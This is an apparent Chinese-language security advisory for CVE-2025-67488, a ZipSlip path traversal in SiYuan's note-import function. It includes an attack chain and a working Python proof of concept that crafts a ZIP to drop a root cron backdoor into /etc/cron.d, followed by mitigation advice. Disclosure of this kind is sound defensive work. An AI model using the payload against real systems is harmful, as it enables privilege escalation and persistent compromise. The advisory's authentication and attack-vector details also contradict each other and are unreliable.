IPBUF安全漏洞报告
English
CVE-2025-67488 CVSS 7.8 高危

CVE-2025-67488 | SiYuan importZipMd ZipSlip路径穿越导致任意文件覆盖

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-67488
漏洞类型
ZipSlip路径穿越/任意文件写入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SiYuan

相关标签

ZipSlip路径穿越任意文件写入代码执行SiYuan知识管理CVE-2025-67488高危漏洞

漏洞概述

CVE-2025-67488是SiYuan个人知识管理软件中的一个高危安全漏洞。SiYuan是一款自托管、开源的个人知识管理软件,广泛应用于笔记管理和知识整理。该漏洞存在于importZipMd函数中,源于对ZIP压缩包内文件路径的安全验证不足,攻击者可以利用ZipSlip技术通过构造恶意ZIP文件实现路径穿越,进而覆盖系统上的任意文件。在特定环境下,攻击者可通过覆盖关键配置文件或可执行文件来提升权限,最终实现完全远程代码执行。此漏洞需要认证用户通过笔记导入功能触发,虽然CVSS评分7.8显示为高危,但攻击复杂度较低且影响面广,对使用该软件的组织和个人构成严重安全威胁。

技术细节

该漏洞的核心问题在于SiYuan的importZipMd函数在处理ZIP压缩包时,未对压缩包内文件条目中的文件路径进行充分的安全校验。攻击者可以精心构造一个ZIP文件,在文件条目中嵌入包含路径遍历序列(如../)的文件名,例如../../../../etc/cron.d/malicious。当程序解压并写入这些文件时,会遵循路径遍历序列,将文件写入到预期目录之外的系统路径,从而实现任意文件覆盖或创建。攻击者可以利用此漏洞覆盖系统配置文件、SSH密钥、计划任务脚本等敏感文件。在Web应用环境下,如果攻击者能够覆盖应用的动态链接库文件、启动脚本或配置文件,可能进一步实现以更高权限执行任意代码。漏洞代码位置位于kernel/api/import.go第190行附近,建议检查该函数的文件解压逻辑,增加对文件路径的规范化验证和目录边界检查。

攻击链分析

STEP 1
步骤1
攻击者注册并登录SiYuan系统,获取有效用户凭证
STEP 2
步骤2
攻击者构造包含路径遍历序列的恶意ZIP文件,在文件名中嵌入../../../../etc/cron.d/malicious等路径
STEP 3
步骤3
攻击者通过SiYuan的笔记导入功能上传恶意ZIP文件,触发importZipMd函数处理
STEP 4
步骤4
importZipMd函数解压ZIP文件时,未验证文件路径安全性,将攻击者指定的文件写入系统任意路径
STEP 5
步骤5
攻击者通过覆盖计划任务、SSH authorized_keys或动态链接库文件,实现权限提升和远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os import sys def create_zip_slip_poc(): """ Generate a malicious ZIP file exploiting ZipSlip vulnerability in SiYuan's importZipMd function. CVE-2025-67488 PoC """ target_path = "../../../../etc/cron.d/backdoor" malicious_content = b"* * * * * root /tmp/malicious.sh\n" zip_path = "poc_zip_slip.zip" with zipfile.ZipFile(zip_path, 'w') as zf: # Create entry with path traversal in filename info = zipfile.ZipInfo(target_path) info.compress_type = zipfile.ZIP_DEFLATED zf.writestr(info, malicious_content) print(f"PoC ZIP file created: {zip_path}") print(f"Malicious file path in archive: {target_path}") print("Usage: Import this ZIP file through SiYuan's import function") return zip_path if __name__ == "__main__": create_zip_slip_poc()

影响范围

SiYuan < 3.5.0
SiYuan 0.0.0-20251202123337-6ef83b42c7ce及以下版本

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:限制笔记导入功能的访问权限,仅授权可信用户使用;部署Web应用防火墙(WAF)规则,检测并阻止包含路径遍历序列的上传请求;监控系统关键目录(如/etc/cron.d、/var/www、用户home目录)的文件变更;考虑禁用或限制ZIP导入功能的使用;定期审计系统文件完整性,及时发现可疑文件写入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表